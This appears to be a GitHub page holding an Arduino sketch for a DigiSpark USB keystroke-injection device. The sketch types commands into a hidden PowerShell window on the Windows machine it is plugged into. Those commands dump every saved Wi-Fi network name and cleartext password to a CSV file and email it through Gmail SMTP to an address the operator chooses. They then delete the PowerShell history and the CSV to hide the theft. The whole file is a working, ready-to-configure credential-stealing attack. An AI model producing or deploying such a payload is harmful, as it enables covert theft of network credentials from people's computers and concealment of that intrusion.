-
Notifications
You must be signed in to change notification settings - Fork 0
/
Wifi_Profile_Mailer.ino
86 lines (78 loc) · 3.65 KB
/
Wifi_Profile_Mailer.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//If you are using gmail, you MUST enable "Less Secure App Access" in your user account settings or this will fail.
#include "DigiKeyboard.h"
void setup() {
}
//uncomment to run live
char mode[] = "powershell -nop -win h -noni -exec bypass";
char separator[] = "exit";
//end live
//uncomment to debug
// char mode[] = "powershell -nop -exec bypass";
// char separator[] = "read-host";
// end debug
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(mode);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
// User variables start
//from email address:
DigiKeyboard.print(F("$email = \"YOUREMAIL@gmail.com\";"));
//to email address
DigiKeyboard.print(F("$addressee = \"TOEMAIL@DOMAIN.TLD\";"));
//if you want to change the path of the temp csv file
DigiKeyboard.print(F("$tempcsv = \"$env:userprofile\\temp.csv\";"));
//'from address' email account password
DigiKeyboard.print(F("$pass = \"YOUREMAIL_PASSWORD\";"));
//smtp server
DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";"));
//smtp server port
DigiKeyboard.print(F("$port = \"587\";"));
// User variables end
DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;"));
DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;"));
DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;"));
DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);"));
DigiKeyboard.print(F("$smtp.EnableSsl = $true;"));
DigiKeyboard.print(F("$msg.From = \"$email\";"));
DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");"));
DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");"));
DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;"));
DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;"));
DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;"));
DigiKeyboard.print(F("$msg.Subject = \"Digi-WP-Mail Form\";"));
DigiKeyboard.print(F("$msg.Body = \"<h2> CSV Wifi Profile Info </h2></br>See attached...\"; "));
DigiKeyboard.print(F("$SMTP.Credentials = $cred;"));
DigiKeyboard.print(F("$smtp.Send($msg);"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(separator);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(mode);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("rm \"$env:userprofile\\temp.csv\""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(separator);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}